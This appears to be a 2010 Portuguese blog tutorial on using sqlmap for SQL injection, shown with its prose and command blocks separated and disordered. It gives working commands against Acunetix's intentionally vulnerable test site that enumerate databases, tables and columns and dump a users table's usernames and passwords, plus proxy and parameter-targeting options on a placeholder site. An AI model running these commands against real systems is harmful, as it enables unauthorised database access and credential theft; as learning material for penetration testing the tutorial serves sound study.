Desde já deixo claro que vou abordar apenas os principais comandos, algo que dê pra você ter uma base para partir pra seu próprio estudo. Opções Vamos agora começar a brincadeira, para se obter o menu do sqlmap usamos o comando *Lembrar de dar permissão de execução, ou executar python sqlmap.py -h Será mostrado um menu com várias opções, no primeiro esboço desse tópico até tentei descrever todas mas vi que iria ficar muito confuso o entendimento dessa forma, então resolvi colocar os comandos e descrever o que cada parâmetro faz. Quando você estiver explorando alguma vulnerabilidade, entenda que o sqlmap tenta fazer tudo automaticamente, mas quanto mais informações forem fornecidas maiores as chances de sucesso, outro fator importante antes de começarmos é que você tem que saber o que requisitar ao sqlmap, pra isso vou colocar algumas palavras que serão mostradas com frequência que são essenciais conhecer o signifcado. Estou usando o site de testes da acunetix, podem usar sem preocupação esse site do exemplo porque ele foi feito pra isso. Vamos começar com um comando simples e importante, vamos descobrir qual tipo e vesão do banco de dados determinado site está usando. –url: A url do alvo. Sqli é um tipo de ataque que a cada etapa vamos obtendo mais informações, agora que sabemos a versão e o tipo de banco de dados, vamos obter o nome do banco de dados atual, isso é, o banco de dados que está sendo usado no site alvo. –current-db: Mostra o banco de dados atual. Pode ser que existam mais bancos de dados, então vamos verificar. –dbs: Lista os bancos de dados do DBMS. Agora vamos começar a entrar mais na toca, temos o banco de dados atual, então vamos listar as tabelas. –url: Url do alvo. Vamos supor que você ache que tem algo interessante na tabela users, hora de listar as colunas. –url:URL Alvo. Finalmente vamos agora extrair os dados das colunas que achamos interessantes. Atenção, não esperem esse comando ser concluído, esse site é feito para testes, então tem muita informação desnecessária nessas colunas, fazendo você perder tempo esperando. –url: URL alvo. Isso é o básico dos comandos, vou mostrar agora alguns comandos adicionais. Excluir do ataque o banco de dados do sistema. Sempre que você ver que o sqlmap está fazendo consultas ao banco de dados information_schema, você pode se desejar acrescentar –exclude-sysdbs, que vai fazer o sqlmap não fazer queries a esse banco. –proxy : Ativa o uso de proxy. Extrair tudo de todas as tabelas. Usando uma string para tornar o Blind SQL Injection mais eficiente. O teste mais comum para saber se uma url é vulnerável a blind SQLI é verificar se o conteúdo muda após uma query maliciosa, fornecer uma palavra que existe na página ajuda o sqlmap a fazer um teste mais eficiente. Selecionando o parâmetro a ser testado. Você pode se deparar com uma página com vários parâmetros a serem testados, por exemplo Acho que isso é o básico para um começo, o sqlmap tem bem mais funçoes interessantes, sugiro pesquisar sobre as opções –prefix=PREFIX, –postfix=POSTFIX e opções de takeover. *Lembre-se a ferramenta não vale de nada se você não souber o que está fazendo. Até.
sqlmap
“Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.” O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.
Download./sqlmap.py -h
Enumerate: Listar,enumerar.
Dump:descarregar, no nosso caso seria mais apropriado “Extrair”
DBMS: “Database Management System”, sistema gerenciador de banco de dados../sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b
-b: Pega o banner do DBMS.
Resultado:./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
Resultado:./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Resultado:./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
-D:banco de dados alvo.
–tables:lista as tabelas.
Vamos prestar atenção a esses comandos, –tables lista as tabelas, se você já sabe o banco de dados alvo, é importante especificar, se esse comando fosse dado sem usar o -D o sqlmap iria listar todas as tabelas de todos os bancos de dados.
Resultado:./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
-D:Banco de dados alvo.
-T:Tabela alvo.
–columns:Listar colunas.
Resultado:./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C 'uname,pass' --dump
-D:Banco de dados alvo.
-T:Tabela do Alvo.
-C: Colunas do alvo
–dump: Extrair informações./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --proxy=http://173.203.80.108:80
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --dump-all
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db --string "shore"
index.php?option=com_jcars&view=browse&start=15&li mit=5&sort=brand&updn=ASC&filter?id=12
O sqlmap interpreta cada = como um possivel campo a enviar os testes, mas se você sabe que o parâmetro id é o vulnerável, você pode especificar logo, em vez de esperar o sqlmap testar todos../sqlmap.py --url "http://www.alvo.com/index.php?option=com_jcars&view=browse&start=15&limit=5&sort=brand&updn=ASC&filter?id=12" --current-db -p "id"
Mais informações sobre o programa e vídeos dele em ação no site oficial
sábado, 4 de dezembro de 2010
Tutorial SQL Injection com o SQLMAP
Código:
Código:
Código:
Código:
Código:
Código:
Código:
Código:
Código:
Código:
Código:
0 comentários:
Postar um comentário